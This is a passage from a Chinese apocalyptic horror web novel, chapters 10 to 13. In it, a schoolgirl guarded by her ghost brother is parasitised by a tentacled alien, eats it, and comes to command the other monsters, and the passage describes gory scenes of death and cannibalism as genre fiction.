“啊!”女人的腿被拔出,她身体瞬间弹起,用尽全部力气后重重栽下,满头大汗的陷入昏迷。
温茉被血溅了一脸,眼眶被染得红彤彤,她揉了揉眼,苦笑一声:“希望她没有传染病。”
女人的双腿折断了,白花花的骨刺从膝盖凸出,两条小腿严重黑肿坏死,想活着,下场只有截肢。
从车里钻出来,温茉只感觉自己被血腥和汽油味腌透了,她心情很沉闷,将女人放在路边后折返去找罗木。
也许是因为看见她行动自如,许多幸存者从车底或车里爬出,他们每个人都神情悲痛,有的麻木地抱着尸体哭,有的劫后余生般的往街边大楼里跑。
找到罗木时,他身边已经围了一圈惊魂未定的幸存者,几乎每个都带了点伤,听到那女人的惨状,他毫不犹豫赶去救援。
罗木和两个男人一起拆了街边一个广告牌,把女人抬回去,温茉见没自己的事了,就继续赶路。
到处都是亡魂,什么烂肚子的,缺半张脸的心脏被挖的,在温茉眼里,世界简直就像巨大的个停尸间,站满了阴气森森的冤魂。
快到便利店周围时,温茉停住了脚步。
一队穿着芭蕾舞裙,双腿正常,但上半身是触手形态的怪物拦住了她的去路。
小区附近有家舞蹈机构,老师是小区的一个阿姨,温茉前几天还见她兴高采烈地发宣传单请大家去看比赛,今天就被撕成两半,“孩子们”争先恐后咀嚼着她的尸身。
女老师的鬼魂就站在一旁,麻木地看着。
温茉的心理防线终于破了,她胃部翻涌,蹲在地上呕吐,她捂住胸口失声痛哭,眼眶被泪水蜇得生疼。
温布惊很亏啊用拳头和鬼火将怪物们解决了,它很想一把火把女老师的残体也烧尽,但它失败了。
鬼火无法触碰阳间的东西,哪怕是尸体。
温茉默默流着眼泪,视线被遮挡得恍惚,她捡起便利店飘落的红色横幅,将地上的一片狼藉盖住。
温布惊很像好好安慰自己的妹妹,但时间太紧迫了,它短暂安抚了一下温茉,在得到催促后飞进了小区。
温茉抱着身体缩在马路旁,女老师的鬼魂就站在一旁,它愣愣地摸着裂开的脸,绿色的鬼眼满是委屈。
“我带着她们逃出来,可她们为什么都是怪物。”
“都是怪物!都是怪物!那些大人也是怪物!!”
“我居然在教怪物跳舞,哈哈哈哈哈,哈哈哈哈!”
女老师癫狂着大笑,不断地抓着头发,它疯了,没人规定鬼不能疯,温茉从泪水里看到,它崩溃的喃喃自语,挥开别的鬼魂的手,漫无目的走开了。
10. 第 10 章
“噗呲,噗呲!温茉,看过来!”
一道熟悉的声音从便利店里传出,便利店的卷帘小铁门被重力撞击过,已经破开一个小洞,钱弓的脸从中探出,他焦急道:
“温茉,傻坐着干啥!快躲起来!”
这已经是第二个叫她躲起来的人了,温茉有些悲哀地想,如果没有温布惊的保护,她也会是这苦苦求生中的一员。
甚至可能在怪物袭击开始,就被像纸一样撕得稀巴烂。
钱弓扔出一包抽纸,温茉捡起来把脸擦干净,她的双眼已经肿得跟核桃一样,又热又疼。
她问道:“你看见我爸了吗?”
事故发生时,钱弓正在便利店吃早饭,他眼睁睁看着一个好好的人脑袋突然像游戏一样爆开,触手四面八方胡乱的扫。
那人是他家拳击馆的会员,体格健硕,幸好钱弓的妈妈自己开店常年备着电击棒和电锯,店里所有的客人加上母子俩一起上,才将怪物杀死。
他们将便利店所有货架挡在门口,才没有被攻破。
钱弓:“没见着,我们都没敢出去!”
“我靠,那些芭蕾怪物消失了?你从学校跑回来的?牛逼!”
温茉眉宇间带着失落,还没来得及回答,钱弓妈妈沙哑的声音就从钱弓身后响起,“是温茉吗?孩子,你怎么乱跑呢!儿子,快把门打开。”
“不行!”
“谁知道她是不是怪物?别连累死我们!”
便利店的客人们言辞激烈地反对,他们早已吓破了胆,立刻合力用绳子将钱弓母子俩绑起来赶到角落。
钱弓妈妈:“咱们都是邻居不唔唔……”有人将她的嘴塞住。
钱弓丝滑地倒在妈妈的怀里,颓废道:“妈,别乱发善心,现在都世界末日了。”
他也不想开门,但他不会去当那个坏人,因此很配合地被绑住。
听着便利店里乱糟糟的声响,温茉起身拍了拍门,“给我点食物。”
“不行,我们这么多人,都不知道要躲多久,自己都不够分的!”
“给点吧,不然她一直不走吸引来怪物怎么办?”
温茉头抵着门,静静地听着里面的争论,随后小洞里扔出一个小饭团和一瓶苏打水。
一张白净的脸出现在洞口,她哆哆嗦嗦道:“快走吧,算我们求你了,里面还有孩子在。”
说完洞口就被一个纸箱堵住了。
温茉眼熟她,一个全职主妇,生了一对龙凤胎,喜欢和保姆推着两个婴儿车饭后散步,见谁都笑盈盈的。
“好。”温茉捡起食物装进校服口袋里,她用指关节敲了敲铁门,“军队已经在扫荡了,估计不久就会到达,你们不要为食物打架。”
便利店内又窃窃私语,人心躁动起来。
温茉踩过怪物的灰烬往小区走,温布惊这么久都没有动静,她要去看看,即使下一秒就会去死,也不能没有任何行动。
小区带着广告牌的道闸被撞歪了,保安亭玻璃烂了,两个保安分别死在桌子上和角落,手里还握着防暴叉和盾牌。
小区里隐隐传出声嘶力竭的尖叫和怪物的嘶吼。
温茉掰开死人冰凉的手,拿过叉子防身。老校区生态很好,进门就是带喷泉和水塘的小花园,走到喷泉处,又有人喊了她的名字。
温茉回头,看到捂着肚子的“班长”气喘吁吁地扶着柱子喘气,它一半脑袋是正常的,另一半是触手,三瓣肥硕的触手被子弹打得血肉模糊,眼珠子有的爆浆了,有的疯狂乱转。
看到温茉一脸冰冷地看着自己,“班长”试探性地喊了一声:“温茉?”
温茉紧紧盯着它,哐当扔掉了叉子,接着一步步向它走去,“班长”狂喜,张开两条紫色的触手:“你果然是最完美的孩子!你为什么不来找我?是想先对付那个家伙吗?我给你起了个名——”
“噗嗤,噗嗤——”
锐利的刀子狠狠戳进“班长”的胸口,又深又重,一下接着一下,但温茉失算了,怪物的弱点不在心脏处,又或者是说它们根本没有心脏这东西。
“想弑母取代我吗?”
“班长”像完全感觉不到疼痛一样,呆呆地站在原地,紫色的触手卷住温茉的腰狠狠砸向地面,她手里的刀子也被卷走。
这一切都太快了,温茉的手心被狠狠割出一道皮开肉绽的伤口,脑袋重重磕在地上,一秒后,刺痛袭来,她忍住痛呼,双腿勾住“班长”的身体瞬间弹起。
她捡了根小树枝,两只手握住狠狠刺向它花瓣头的中间!
她像刺进了一团温热蠕动的果冻。
这就是它的大脑吧,但温茉用尽了全部力气,也只戳进了一点,这次怪物是真的暴怒了,它高高举起温茉,触手上密密麻麻的吸盘像针尖一样勾进她的皮肤。
温茉被重重摔到地上,这次又是头着地,她眼花耳鸣,头晕恶心地爬起来,与此同时,鼻子流出一串透明的液体。
液体流进嘴里,她恍惚中感觉到,是甜的。
“班长”居高临下看着蜷缩成一团,浑身被触手伤得皮开肉绽的温茉,阴沉沉道:“看来你很有自己的想法,虎一,一出生就想搞死我吗?怎么不用你的触手,让我看看你的触手!”
“呵呵。”温茉骂着:“去你妈的,我是温茉,是人类,不是你这种肮脏的畜生。”
“不可能!”它吼道:“没有人可以不被我的卵同化!”
温茉挑衅地笑了,她捡起刀子爬起来,又一次戳进它的身体,“我没有吃啊,班长,吃你卵的是我哥哥,它说很好吃,感谢你的款待!”
“我哥哥是鬼啊班长大人!你校长室那些卵都是它吃的!多亏了你,我哥哥才能力量大增!”
“班长”那半张人类脸颊显露出愤怒,“你去死吧!”
它一根触手瞬间刺穿了温茉的胸口,看着温茉奄奄一息地倒在地上,它张狂地说:“那我就让你们兄妹俩好好当一对鬼兄妹!”
一股铁锈味的腥甜涌上嗓子,温茉咬紧牙关,只感觉脑子要炸了。
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“班长”气急败坏地想要戳爆她的脑子,可看着她的脸,终究是没舍得,它轻而易举撬开温茉的下巴,头顶的一根触手伸进她血淋淋的嘴里。
第一次没成功,那就再来一次,这次的袭击已经暴露了它们的存在,尤其是如果没有转化最完美的孩子,那就是彻彻底底地失败!!
无数像珍珠一样的卵泡脱落,触手在两秒后退出,“班长”强制抬起温茉的头,她拼命抵抗,却犹如蚍蜉撼树般。
在她绝望的眼神里,怪物狠狠捶打她的腰,温茉下意识地叫了一声,瞬间,那些卵泡就被咽了下去。
“班长”恨恨又期待地盯着她,寄生体反抗意识太强,还不知道会变异成什么样子。
温茉感到身体在发生着变化,以前长身体的时候,她的膝盖会很痛,可这次,她感到全身的骨头都在痛。
心脏跳得剧烈,又像是被看不见的手重重捏着,温茉屏住呼吸,她清晰地感到内脏在变化,撕扯、融合。肺部好像停止了功能,她感到溺水般的窒息。
肾上腺素完全没用,她的身体越来越冷,眼前色彩鲜明的世界慢慢褪去色彩,犹如百年前的黑白老旧影片。
世界慢了下来,她突然能看到四面八方所有的景象,她看到天上飞鸟滑行的轨迹,看到喷泉水珠掉落的弧度,她听到数不清的杂音,甚至能听到潺潺流水中小鱼吐泡泡的声音……
“砰!”寄生她的母体重重晕倒在地,彭周给温茉的小刀被高密度的迷药浸泡过,她等了好久,才等到药见效。
温茉看着自己的手变形,手指不受控制地像橡皮泥一样粘连融合成一条触手,长出尖尖的紫色小吸盘。
银白冰冷的公告栏映照出一头穿着校服的怪物,它拥有人类的下半张脸,头顶却逐渐变成花瓣一样的稚嫩紫色小触手。
温茉崩溃了,触手上的所有黑色眼珠子都在哭,她非常不知所措,她爬过去捡起了刀子,颤抖着瞄准触手中间。
突然,一阵无法抗拒的念头浮现在脑子里,她感到很饿很饿,她需要进食,她不能死……
树上的监控一闪一闪,清晰记录下了“孩子”吃掉“母亲”的过程。
温茉的意识一片混乱,不知道过了多久,彩色的世界和理智一同重归身体,她坐在一片淡蓝的血水中,人类的手掌中握着最后一块罪证。
无意识中,温茉吞噬掉了“班长”的整个头颅和两条手臂,只留下人类的残躯。
温茉又恢复了人类的模样,她面如死灰地坐着,眼底盛着惊恐,任谁见了,都会打心底里觉得,这是个多弱不禁风需要被呵护的女孩啊!
脑子一片空白,温茉抬头,看到了周围鬼魂们惊悚的眼神,它们用不可置信的目光看着她,仿佛她才是鬼一样。
温茉看到温布惊远远靠近,她泪眼汪汪地伸出手。
温布惊担忧地看着她道:“温玉成死了。”
“哥。”温茉颤抖着抱住它:“我该怎么办,我变成怪物了。”
小诡异眼神一凛。
11. 第 11 章
温茉抽噎着,黏腻带着蓝色刺鼻血迹的双手抖如筛糠,她脸上是极度的紧张与自我怀疑:“我把这只怪物吃掉了!我、我也不知道为什么会变成这样子……”
温布惊迅速接受了妹妹的变化,它的第一反应是:不能让这件事被传出去。|
它冰冷的目光环视着四周,从监控的红灯轻轻扫过,转移到周围的众鬼魂,虽然是孩童模样,但狠戾之气扑面而来。
其中一只鬼温茉还认识,是最初认识的断腿小孩鬼,它一边往后退,一边内心懊恼,早知道就不出来看热闹了!
“温布惊,我保证会把这件事烂在肚子里,你不要吃掉我。”它紧张到魂体冒烟。
这些鬼魂大多是小区的邻居们,它们还在震惊温茉能看见鬼,浑然不知自己的处境极其危险。
有几只死有些年的鬼,转身就要逃走,温布惊瞬移拦住了去路,它们哀求:“我还想入轮回,求求你放过我。”
温布惊已经握住了一只鬼的手臂,想要硬扯下来,温茉闭着眼说:“哥,别做傻事,它们被怪物杀死已经很无辜了。”
“不行!”温布惊鬼气森森,犹如恐怖版洋娃娃的稚嫩脸庞满是杀意:“谁知道这世界上会不会有第三个阴阳眼,只要妹妹你还活着,就不能有威胁。”
温茉已经收拾好心情,她站在喷泉前洗手洗脸,看淡蓝的血渍被水冲走,“我肯定是个怪物了,但相比那么多死人,已经很幸运了,哥,我一定要弄懂身上的一切,大不了以后被拉去研究的时候,我们逃到深山老林里,让谁也找不到。”
温布惊背对着她止住动作,很快,它松开手,那只鬼瞬间消失不见,连带着其余的鬼魂也回过味来,它们再三保证绝不会传播,然后四散而逃。
温茉衣服上全是怪物和她自己的血,味道极其混浊刺鼻,她走到保安室,将刚才的监控全部删掉,虽然断网状态下监控视频不会自动上传云端,但她还是仔仔细细检查了一遍,确认没有任何遗漏。
关掉小区的监控,她将“班长”的残尸拖到小区垃圾池,接着抽出一辆车的汽油淋上,点燃打火机扔进去。
“轰!”
冲天高的火苗燃起,很快将尸体和其余垃圾烧光,难闻熏眼的味道弥漫开来,温茉冰凉的身体很快被烤得暖烘烘,她一眨不眨地看着一切燃烧殆尽,才虚脱般地靠墙坐下。
“妹妹。”温布惊担忧地摸着她的额头,“你还好吗?”
“我很好。”温茉苦笑一声:“甚至觉得全身充满了力量,还真没白吃,你看,全身的伤都好了。”
“走吧,回家去,至少让我见见爸爸的尸首。”
温茉越过无数尸体进入楼道,在二楼,她看到,一只穿着隔壁刘玉芬刘姨常戴围裙的灰白色怪物蹲在一具尸体上,捧着一条小腿进食。
见到她,怪物没有发起攻击,它愣了几秒,随后扔掉小腿跃起落到她身后,几条触手仔仔细细地围着她的脑袋打转。
“刘姨,不对,怪物。”温茉垂眸看着鞋面上自己的血迹,她问道:“你是不是很早就寄生了她。”
温茉突然想起一件事,刘玉芬的第一段婚姻中有一个男孩,那个男孩貌似叫……赵天琪,正是班长的名字。
——刘玉芬二婚嫁给邻居老头没几个月,温茉也跟她只是点头之交。
怪物收回触手,它发出了人类女性的娇笑:“我在你身上嗅到了……同族的味道,但是你看起来,就是一个正常的人类,看来首领的计划成功了,不愧我们精心策划了那么久。”
“你们为了我,精心策划了很久?”
“是啊,首领说你的寄生宿体是最完美的。”怪物又抱怨道:“潜伏得太久,我的身体早就快变异完了,每天出门都要注意触手不能碰到别人,不然一被察觉,致幻效果就可能大打折扣。”
温茉嘴角勾了勾:“那还真是辛苦你了。”
怪物没有听出她的讽刺,几十只眼珠子转了转,“你怎么没有保护首领,它正处于虚弱的产卵期,实力很弱。”
“首领在楼下呢。”
“那正好。”怪物说:“还记得那晚送你回家的那个人类男性吗?他就在楼上,你去取些卵来寄生他。”
“他的身体真不错啊,那晚本来想迷晕他下手,被该死的人类臭老头缠住了。”
温茉从口袋里拿出一些卵,“我这里有。”
怪物取过,转身往楼上走,温茉扯住它的围裙:“别走,先给我说说关于咱们族的事情吧。”
怪物头颅整个180度扭转过来,浑身弥漫着危险的气息:“你不知道?所有新生的孩子都传承了记忆。”
温茉回忆起几十只眼珠子乱窜的感觉,头顶的细小紫色触手抬起了一根,怪物气息顿时柔和下来,甚至略带着爱怜地碰了碰她的小触手。
“跟首领一样的紫色……不过,你的触手怎么这么小!”
温茉慢条斯理地绕弄着一簇长发:“也许是我跟人类同化程度太深了吧,首领在忙呢,我什么都不知道,它让我自己找同族问。”
怪物相信了,它依依不舍地看着她头顶的触手收回,变为人类的头顶。
它说:“我们的虫族祖先曾经生活在遥远星系的一颗星球上,但被那颗星球上卑鄙的人族打败,流放到了宇宙中,在经过不知道多少个虫洞迁跃后,我们来到了太阳系,发现了这颗星球。这颗星球的人类,长相躯体跟驱逐我们的人族相似,但体型更小,基因更差。两者对比犹如天上地下。”
“我族分为三支,每一支都是通过寄生其他生命体的形式繁衍,来到地球后,我们秘密寄生了一批人类,但人类的基因太低等了!尽管选择的都是些身体强悍的,他们也根本承受不住我们的基因侵袭,很快就会异变为我族原本的样貌,这样太不利于发展了。”
温茉双手插兜,摩擦着匕首刀柄的纹路:“不利于发展?在害怕些什么?因为人类的热武器太强大了吗?”
“是也不是。”怪物不屑一顾:“人类的核武器确实还算可以,但是伤敌一千自损八百,但是不到逼不得已,他们是不会拿来用的。”
“我们当然可以轻而易举占领地球,但我们不借助人类的发声器官,就只能通过声波交流,会被当初驱赶我族的卑鄙人族发现。他们为了对我们赶尽杀绝,派出了许多捕杀队追踪着,这颗星球迟早会被发现。”
“我们的目的就是要培养出大批像你一样完美的孩子,不仅能掌控全人类,还能降低人族警惕,韬光养晦后一举夺回领地。”
温茉点点头:“原来如此。”
怪物欣喜地看着她:“你看,你多么完美,就算是站在那些人族面前也不会被他们怀疑,可惜你还太小了,等你长大繁衍出自己的卵,我们就可以占领地球了!”
温茉还有最后一个问题:“你说我们虫族分为三支,除了我们这一支,还有两支呢?”
“它们啊。”怪物下半张人类的脸庞流露出嫌弃,“野蛮暴力,没有脑子的,它们在隐匿于西半球,寄生后宿体会骨化和兽化。你以后就知道了。”
温茉:“谢谢,你可以去死了。”
怪物还没反应过来,一旁蠢蠢欲动很久,耐心忍住杀意的温布惊就朝它的触手脑袋吐出一口鬼火。
“啊啊啊!”触手凭空自燃,怪物惊惧痛苦地尖叫着,它见扑灭不了幽蓝的火焰,就紧紧勒住温茉的脖子,“贱种!你干了什么!”
“杀了你啊,跟你的首领去地狱相见吧,哦不,你们不是本地土著,应该也进不了地狱轮回。”
“啊啊啊啊!!”
湿答答的触手被烘烤,出油、缩水,发出铁板鱿鱼一般的滋滋作响,整个楼道间弥漫着难以言喻臭水沟般的味道。
气管被束缚无法呼吸,温茉的耳后出现鱼鳃一样的小空洞,一张一合着吸收氧气,她狠狠扯断那根瘪下来的触手,看着怪物在狭小的空间抱头鼠窜,挣扎了一会,它彻底变成一团灰烬,只留下一截人类的腹部和双腿。
鬼火尽职尽责
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地烧尽了所有怪物的存在,温茉看着纷纷扬扬的灰烬,脸上闪过沉思:“哥,你现在应该也能烧死我。”
温布惊圆溜溜的鬼眼瞪大了,它拉着小脸,抿直了嘴唇:“妹妹!不要这么说,我绝对不会伤害你的!”
温茉抱住了它,轻声道:“如果以后我变成无法控制理智的怪物,你一定要杀死我。我可不想害人,说不定死后还能开开心心做个鬼。”
温布惊乌黑的唇瓣颤抖,它紧紧拽着背带裤的带子,情绪紧绷像个吃不到糖果闹脾气的小朋友,半晌后,它嗯了一声。
光洁的走廊一片狼藉,昏黄的阳光透进来,照亮地板和墙上的血渍,走廊安安静静,某家的门大开着,门口渗出一片刺眼的血液,已经半凝固着贴着地面。
温茉站在自家门口,想到温玉成的死,眼泪后知后觉地掉下来,她深呼吸,拿出钥匙插进锁销。
客厅,段双双正抱着温玉成的尸体哭到昏厥,听到门口的声响,他立刻警惕地拿起手边的菜刀。
嘀嗒嘀嗒,时钟不停歇地转着圈,段双双的额角露出冷汗。
吱嘎,一声轻响后,门被打开了,温茉低着头走了进来,阳光在她身后斜斜倾洒进来,她黑黑长长的头发遮住了面孔,校服简直成了血衣,散发着恶臭的味道。
段双双握紧了刀柄,身体呈防御状,试探性地喊了一声:“温茉?”
一分钟后,两人跪在温玉成的尸体前抱头痛哭。
段双双鼻涕流了一下巴,脸上脏兮兮的,不复往日的精致,他说:“对不起,我把阳台封住,一回头导师就要不行了,我给他喂了药,但还是眼睁睁看着他没了。”
“不怪你,他有心脏病,受到的惊吓太大了,但是好在,他走得不是那么痛苦,不像外面那些,尸体都拼不完整……回来之前,我已经做过心理准备了呜呜呜……”
静静平躺在沙发上的温玉成面色惨白,眼睛肿胀,嘴唇呈乌紫色,温茉哭着给他擦了擦脸和手心,用毯子把尸体盖住。
一天之内发生了太多的事,温茉精神极度疲惫,好在很久前温玉成和羊雅芝就给她做过死亡教育,她才不至于直接失心疯。
段双双哭着哭着干呕起了来,两人都经过厮杀,染上了不少怪物的血,抱在一起简直就是催泪瓦斯。
更何况怪物的血还有致幻性,浓度一高作用就显现了,段双双只觉得眼前的世界在摇晃,温茉的脑袋变成了两个。
他们立刻远离对方。
温茉花了一个小时洗澡,她看着镜子里的自己,湿漉头顶上两根紫色的小触手轻晃着,她惊恐地摸了摸,脑袋倒是没有裂开,触手是直接从头顶长出来的。
原本她发现,只要自己不去回忆当时的感觉,就能好好维持住人类脑袋。但当时在淋浴喷头下,她正搓着头发,却突然看到了自己身后的场景……
两只软趴趴的肉质触手欢快地接受热水的洗礼,每个吸盘和眼睛都仿佛吸饱了水般胖嘟嘟的。
温茉使劲把触手往下压,但怎么都消失不了,越着急,触手就越激动,啪啪抽打起了她的额头,还跟湿发缠到了一起。
温茉只好穿上浴衣走出卫生间。
温布惊盘腿坐在床上,看到她的模样歪了歪脑袋。
段双双太疲惫了,在主卧里的按摩浴缸睡着了,幸好他留了一条缝隙才没缺氧。不知过了多久后,他突然惊醒,浑身都被泡得红彤彤皱巴巴。
他戴好项链,从衣柜里找出一套男士运动装穿上,一想到这件衣服是导师的,心里就难受得要命。
段双双饥肠辘辘,鼻尖敏锐地捕捉到一丝饭香,他来到厨房门口,接着整个人呆愣住了。
温茉戴着围裙炒蛋炒饭,最主要的是,她头顶一左一右扎了两个圆润的丸子头,这个发型,他只在幼儿园小朋友身上看到过。
温茉还是失心疯了,段双双鼻头一酸,一向沉稳黑长直的她变得这么幼稚,这种时候,她怎么可能装可爱,一定是被刺激到精神失常了!
12. 第 12 章
温茉的两个丸子头背后是努力的温布惊,两根小触手不知道是不是喝饱了水的缘故,怎么都收不回去,精神抖擞地摇晃着仿佛心情很好——如果触手也有思想的话。
因为触手太敏感,没办法戴帽子遮住,最后温布惊想了个办法:直接用发型遮盖。好在她头发够长,勉勉强强包住了,只是它上次给温茉扎头发还是小时候,手法生疏得很,失败了好几次才找回手感。
别看温布惊模样小,鬼龄可是有十多年,做事非常严谨成熟,双丸子头扎得对称漂亮,都能被收进书里当模板。
米饭还是今早温玉成做多了的,现在米硬了,他人也硬了。温茉手艺不错,蛋炒饭鲜嫩好吃,他们一人捧着一碗,却都情绪不佳。
天色已暗,黑夜降临,阳台被段双双用书柜和架子等封住,再将厚厚的遮光窗帘拉上,他们获得了一丝安全感。
断电了,桌子上点着往常放在温布惊遗像前的蜡烛,从温茉有记忆开始,就从来没遇到过停电,家里翻箱倒柜也只找出一个军用手电筒。
这是羊雅芝留下的,电量很少了,温茉没舍得用,在征得温布惊的同意后挪用了供台的蜡烛,段双双顶着白色粗蜡烛暗淡的光,余光瞥到沙发上被盖住的尸体,越吃心里越犯怵。
他蹭到温茉身边吃,欲哭无泪小声道:“好像鬼片里的场景啊,我们真的不能用手电吗?”
军用手电不愧是官方货,一打开仿佛天都亮了。
外面的哭喊和嘶吼不知何时停止了,世界重归寂静,每当饭勺在碗底刮擦一下,段双双就心揪一分,在他的构想里,无数可怕的、流着涎水的怪物早已虎视眈眈地围在门口,只待捕捉到一丝声音就会冲进来撕碎他。
段双双神经衰弱到把钟表都拆了。
“我们手机都没电,只有这个了,晚上还不知道会不会遇袭,还是省着吧。”温茉说。
段双双很想抢过手电,但看着温茉冷静到极致的眼睛,积攒的勇气全部跑掉,他整个人疑神疑鬼不断朝黑暗处看去。
温茉安慰他:“屋里很安全的。”
段双双抱住温茉的手臂瑟瑟发抖,他的光头在烛光下闪闪发光,“我知道说这话很不争气但是我要是能变小钻进口袋里就好了!”
闻言,一旁的温布惊使劲瞪着他,温茉直接甩开段双双的手,将碗筷放到洗碗池,对亦步亦趋的他说道:“把碗洗了。”
“?”段双双看着扔进怀里的洗碗手套想要反驳,这都什么时候了还洗碗!房子说不定明天都没了,但他总觉得身边的温度冷得吓人,而且莫名不敢反驳,因此不敢逼逼,三两下将厨房打扫干净。
他干活,温茉就端着白蜡烛站在旁边,淡光只照亮了她一半的侧脸,衬得眸极黑,脸极白,嘴唇极红,色彩对比非常鲜明,这些组合成漂亮的脸蛋,乍一看跟个鬼片里神出鬼没的修女一样。
温茉五官立体,眼窝较为深,她只要垂下眸子,纤长的睫毛就会挡住眼里所有的情绪,段双双捉摸不透她在想什么。
明明他才是那个年纪大的,但是现在却不想去思考操心,只想被温茉牵着鼻子走。
他现在就想等着政府来救援,然后一辈子缩在保护区不出去,那
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些怪物谁爱打谁打。
段双双说:“咱们一起睡行吗?我害怕。”他立刻强调,“我是真害怕,咱俩手拉手躺一起行吗,晚上有个动静拽起我就跑。”
温茉:“先把我爸收拾一下。”
段双双结结巴巴:“收、收拾?怎么收拾。”
温茉拿出一套干净的西装递给他,“就给他换身新衣服,再跟我把他搬到冰柜里。”
楼下便利店曾经大装修,淘汰下来的冰柜被温玉成买回家放食材,虽然断电了,但冰柜里可是冻着厚厚一层冰层和不少冰块,温茉把东西腾干净,两人一起把尸体挪进去。
长度较短,只能把尸体摆正蜷缩状态,段双双全程不敢睁眼,只觉得自己摸着的是冰凉没有弹性的猪皮。
做完这一切,他们缩进了温茉的卧室,段双双缩在毛绒玩具堆中,说话总算没有颤音了。
温茉搜刮出平板,发光小玩具等可以照亮的小玩意放在他身边,她正襟危坐道:“段双双,你坚强点,放心吧,怪物真的不会闯进来的。”
温布惊在周围守着呢。
但段双双不知道啊,他难以理解温茉莫名的自信和云淡风轻,只觉得这姑娘走出亡父阴影的速度也太快了点。
想当年也是十多岁,他父母双亡的时候,整整颓废了半年之久。
“其实,要算起来,你现在可比钱弓安全多了,他那边又是人多,容易吸引怪物,而是一被堵,跑都没地方跑。”
段双双烦躁又不安,他喃喃低语:“希望我还能活到明天,希望明天可以见到钱弓那货还在人间。”
13. 第 13 章
按照往日的作息,凌晨时段的温茉早已熟睡,但今日只小憩了会儿,她就再无睡意。
房间黑暗又安静,段双双貌似睡得很熟,呼吸清浅绵长,他的脸压在白色荧光小玩具上,睫毛不安地抖动着。
“吱——吱——”
蓦地,指甲划过玻璃的尖锐声响起,接着窗户滚轮被推动,温茉的心提起,打开手电倒扣在被子上,借着丝丝微光,她看到一根湿润粗长的灰白色触手从窗帘后探出。
触手上的吸盘张合着,几十只眼珠子咕噜噜转,瞬间锁定了温茉,她紧张地去推段双双,却发现不知何时,他已经翻着白眼口吐白沫,陷入昏迷当中了。
温茉:……
那根触手直直地朝她袭来,不带任何攻击意味,头顶很痒,丸子头摆动着,她拆掉皮筋,紫色小触手激动地晃动,那根灰白色触手缠上它们,一个个抚摸过。
触手相缠,黏腻柔软,温茉觉得自己像被一根湿漉漉的舌头从头到尾舔舐了一遍似的,她感到很痒,于是伸手制止了。
灰白色触手缠上她的胳膊用力,将她拉到了p窗边,拉开窗帘,首先映入眼帘的是密密麻麻的眼球。
触手们像一窝在葡萄藤中互相纠缠的灰白毒蛇,挤满了防盗网的所有地方,手电灯光强烈,一些眼珠子不适地眯着。
温茉头顶,两根江米条大小的紫色小触手威风凛凛地竖着,像个小皇帝在巡视士兵一样。
心像是要跳出胸膛,她理应逃走,但一种莫名其妙的冲动阻止了她举起菜刀。
一根,两根,几十根……数不清多少根触手争先恐后地越过防盗网,抚摸纠缠着她的小触手,温茉站着没动,只是莫名有些窒息。
被刺激性气味臭的。
等到所有的触手心满意足地收回去,紫色小触手已经被蹂躏的不成样,软趴趴地倒在被染湿的黑发中。
温茉只觉得自己像是一颗球,被几十条狗舌头舔来舔去,然后被狗口水弄得腥臭无比。
小触手腾地竖起来,随着温茉的怒气摇摆得比刚才还厉害。
那些触手褪去,温茉终于看到了外界,对面楼黑漆漆的,只有一些安全指示灯亮着,高悬的月亮很圆,惨白模糊的月光勉强照亮了世界。
眼前的世界像用蒙上一层油的镜头拍出来的画面似的。
防盗网被一根触手扯断,摔到楼下水泥地上发出丁零当啷的杂音,惊起一阵鸟飞。
温茉探头往外看,只见防盗网周围,墙壁之上,爬满了望不到头的完全体触手怪物,它们安静地望着她,虔诚的递上半具尸体。
尸体已经生出了尸斑,在月光照耀下像一尊惊恐主题的蜡像。
放眼望去,每个怪物都用触手卷着一两具残缺的人类尸体,满怀期待地看着她。
有的尸体像是刚死的,味道很腥,血水嘀嗒地落在墙壁上,啪、啪、啪……
吃——
紫色小触手像天线般接收到一个信号,温茉头皮发麻狂摇着脑袋,她拼命在脑子里念叨着:不吃。
生怕晚一秒那些触手就把东西强制塞她嘴里。
她早就接受了自己变成怪物的事实,但没想到,自己在这群怪物中……地位不低?
吃——
她的拒绝在怪物看来很没有理由,它们都歪着脑袋,用花生米大小的脑仁努力思考,为什么新生的、弱小可爱的首领不吸取营养?
这可急坏了怪物们,它们以为首领还没尝过尸体的美味,互相沟通了一下,准备强制喂给她,考虑到首领的小触手还没长牙,于是主动将食物撕成小块,想要让她用人类的嘴巴吃下去。
“呲呲呲。”
“咯吱——”
“啪。”
怪物们开始撕碎那些尸体,一瞬间,奇怪的声音响起,血水和一些内脏淋了温茉一身,她仓皇崩溃地后退。
顿时,怪物们的脑袋里都被尖锐的女声充斥,它们听到小首领威胁着:停下,把东西扔远点,不然我就去死!!
别再把人类尸体拿到我面前!!
这可怎么行!它们好不容易才找到新的首领!怪物们被震慑住,忙不迭地齐齐飞跃开,去处理尸体。
温茉干呕了两下,冲到浴室打开淋头,疯狂揉搓着脑袋,她听到外面响起脚步声,还以为是怪物闯了进来,于是生气地冲出去,却发现段双双站在了窗前,正欲弯腰往下跳!
温茉抱住他摔到地上,却发现他仍然闭着眼睛,身体却再次爬了起来,朝窗边走。
温茉把窗子关上,摇晃着他的肩膀,“段双双,快醒醒!”
叫不醒他。
变成怪物后,温茉的力气就很大,她把段双双推到衣柜里锁住,刚松口气,下一秒自己的身体却也开始不受控制。
意识很清醒,却莫名有种跳楼摔死的冲动,她抬起手臂迅速的推开窗户,接着纵身一跃!
风声短暂响起几秒,温茉就被赶回来的怪物接住,还没松一口气,身体又开始挣扎。
那些触手将她缠得像个茧,只露出脑袋在外面。
温茉四处张望着,果然在顶楼边上看到一个女鬼的身影,正怨恨地盯着温茉。那个跳楼的女人怨气更深了,周身的气息更加阴邪,看起来是吃了不少鬼。
诡异嘴角勾起冰冷的弧度,抬起两只手展示,一只手捏着温布惊的脑袋,另一只捏着它不断扑腾的小身体。
短短一天,温布惊已经打不过它了。
“去死吧。”温茉却没有害怕,嘴中轻念着。
无数条触手缠上了诡异的身体。
它脸上的笑意一僵。
怪物原本是看不见鬼的,但温茉看得见,她眼前的景象通过小触手发送给所有在场的怪物,于是它们产生了视觉共享。
触手的尖牙啃食着诡异的身体,在尝到更为美妙的滋味后,怪物瞬间把尸体抛之脑后,将诡异列为一等美味。
好吃,好吃——
温茉察觉到它们的贪婪,毫不客气道:“杀了它,不用上供给我。”
将温茉送回房间后,怪物们把女鬼围困了起来。
温布惊找准时机逃脱,咻一下闪现到温茉身边,她这才发现,温布惊的下半张脸已经被打得消散,怪不得没听它喊一声。
温布惊被揍的很惨,趴到她背上一动不动。
它冰凉的小手指在她背上划着,问:这是怎么回事?
温茉反手摸摸它的脑袋,“我感觉……好像取代了”班长”的地位。”
